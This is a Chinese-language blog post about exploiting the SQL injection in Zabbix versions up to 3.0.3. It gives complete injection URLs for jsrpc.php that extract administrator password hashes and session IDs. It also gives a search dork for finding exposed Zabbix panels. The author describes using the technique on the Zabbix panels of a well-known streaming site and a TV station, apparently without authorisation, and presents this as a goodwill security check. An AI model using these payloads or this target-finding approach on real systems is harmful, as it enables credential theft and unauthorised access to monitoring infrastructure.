12 9 6 3
just a phper
对zabbix的安全检测

前言

昨天下午,工作做完后,无聊想找点东西玩玩,
刚好隔壁座的运维大师在部署zabbix,就想对他的zabbix后台进行安全监测
zabbix是什么呢 ?
百度百科的说法就是 :

zabbix(音同 zæbix)是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

其实就是个服务器监控工具
通过这个zabbix后台可以看到它所管理的所有服务器情况,从而根据获得的信息对服务器进行入侵
虽然只是个监控工具, 但是通过它获得的信息还是很重要的。


初步分析

打开同事提供的zabbix后台地址 , 如果你想找到一些zabbix后台也是很简单的
在百度上 搜 inurl:zabbix就可以了
如果想从登录页面入手,其实不大可能,然后已guest登录,再看其他页面有没有sql注入漏洞
看了几个页面都没有问题,毕竟是 久经洗练的 企业级应用了

求救百度

百度了zabbix漏洞 ,果然找到一个 最新 2016年7月份报出的sql注入漏洞
影响版本 <= 3.0.3
百度帮我找了漏洞页面 jsrpc.php
设计sql注入检测请求:

jsrpc.php?sid=3a4889049841de68&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999%27&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

如果有漏洞的话 会返回 sql语句报错提示:

[You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1]

zabbix_bug
设计账号密码查询注入请求:

jsrpc.php?sid=3a4889049841de68&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,(select%20concat(name,0x3a,passwd)%20from%20users%20limit%200,1),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1

如果存在漏洞的话, 就会返回sql语句报错,显示 唯一码冲突,显然在报错信息可以找到md5密码
zabbix_bug
通过MD5解密网站可以轻松破解密码

还可以通过注入找到session,密码什么的都是浮云:

jsrpc.php?sid=3a4889049841de68&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1

如果有漏洞的话, 在返回可以发现session信息,修个cookie就可以登录
zabbix_bug

总结

国内某著名直播zabbix后台:
zabbix_bug
国内某著名电视台zabbix后台:
zabbix_bug
此次单纯做安全检测,他们管理员登录之后即可看到我的好心提示
希望他们早日更新到最新版本以修复当前bug

自由转载-非商用-非衍生-保持署名(创意共享3.0许可证